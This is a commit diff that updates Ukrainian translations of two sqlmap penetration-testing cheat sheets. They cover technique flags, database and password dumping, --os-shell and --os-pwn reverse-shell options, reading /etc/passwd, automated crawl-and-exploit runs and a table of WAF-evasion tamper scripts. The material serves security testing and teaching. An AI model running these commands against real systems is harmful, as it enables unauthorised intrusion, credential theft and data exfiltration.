Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin

This commit is contained in:
Translator 2025-07-30 06:30:58 +00:00
parent 8a6376e048
commit d6be653726
2 changed files with 79 additions and 36 deletions

View File

@ -21,6 +21,24 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
### Technique flags (`--technique`)
Аргумент `--technique` визначає, які методи SQL-ін'єкцій sqlmap спробує.
Кожен символ у рядку представляє техніку:
| Літера | Техніка | Опис |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Використовує умови true/false для виведення даних |
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів |
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
| S | Stacked queries | Додає додаткові оператори, розділені `;` |
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`), щоб виявити ін'єкцію |
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS |
Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку:
```bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
### Отримати інформацію
#### Внутрішній
@ -31,7 +49,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
#### DB дані
#### Дані БД
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -53,7 +71,7 @@ sqlmap -r req.txt --current-user
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Впровадження POST запиту
### Впровадження запиту POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
@ -87,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів
### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -117,24 +135,24 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
| Tamper | Опис |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий еквівалент UTF-8 |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний еквівалент |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
| between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
| escapequotes.py | Екранує лапки \(' і "\) |
| greatest.py | Замінює оператор більше ніж \('&gt;'\) на його еквівалент 'GREATEST' |
| escapequotes.py | Екранує лапки \(' і "\) |
| greatest.py | Замінює оператор більше ніж \('&gt;'\) на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
@ -152,16 +170,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2mssqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує новий рядок \('\n'\) |
| space2mysqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) |
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) |
| space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) |
| space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні еквіваленти \(&& і |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -23,6 +23,23 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Technique flags (`--technique`)
Опція `--technique` дозволяє обмежити або змінити порядок технік SQL-ін'єкцій, які тестуватиме sqlmap. Кожна літера відповідає різному класу корисних навантажень:
| Літера | Техніка | Опис |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Використовує умови true/false у відповіді сторінки для виведення результатів |
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для витягування даних |
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
| S | Stacked queries | Додає додаткові оператори, розділені SQL-роздільником (`;`) |
| T | Time-based blind | Спирається на затримки `SLEEP/WAITFOR` для виявлення ін'єкційних умов |
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()` або ексфільтрацію DNS для витягування даних |
За замовчуванням порядок, який буде дотримуватись sqlmap, - це `BEUSTQ` (всі техніки). Ви можете змінити як порядок, так і підмножину. Наприклад, наступна команда **лише** спробує техніки UNION query та Time-based blind, спочатку намагаючись UNION:
```bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
```
### Отримати інформацію
#### Внутрішній
@ -34,7 +51,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Дані БД
#### DB дані
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -43,13 +60,13 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструменту, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструмента, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
## Місце ін'єкції
## Injection place
### З захоплення Burp/ZAP
### From Burp/ZAP capture
Захопіть запит і створіть файл req.txt.
Захопіть запит і створіть файл req.txt
```bash
sqlmap -r req.txt --current-user
```
@ -86,11 +103,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
### Eval
**Sqlmap** дозволяє використовувати `-e` або `--eval`, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
**Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у кастомних способах перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Шелл
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash
--file-read=/etc/passwd
```
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів
### Обхід вебсайту з SQLmap та автоматичне використання експлойтів
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -137,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md).
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -145,33 +162,33 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Опис |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 |
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
| escapequotes.py | Екранує лапки (' і ") |
| escapequotes.py | Екранує лапки (' і ") |
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
| overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок |
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS |
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення в журналах DBMS |
| space2comment.py | Замінює символ пробілу (' ') на коментарі |
| space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
@ -183,11 +200,16 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
| space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../../banners/hacktricks-training.md}}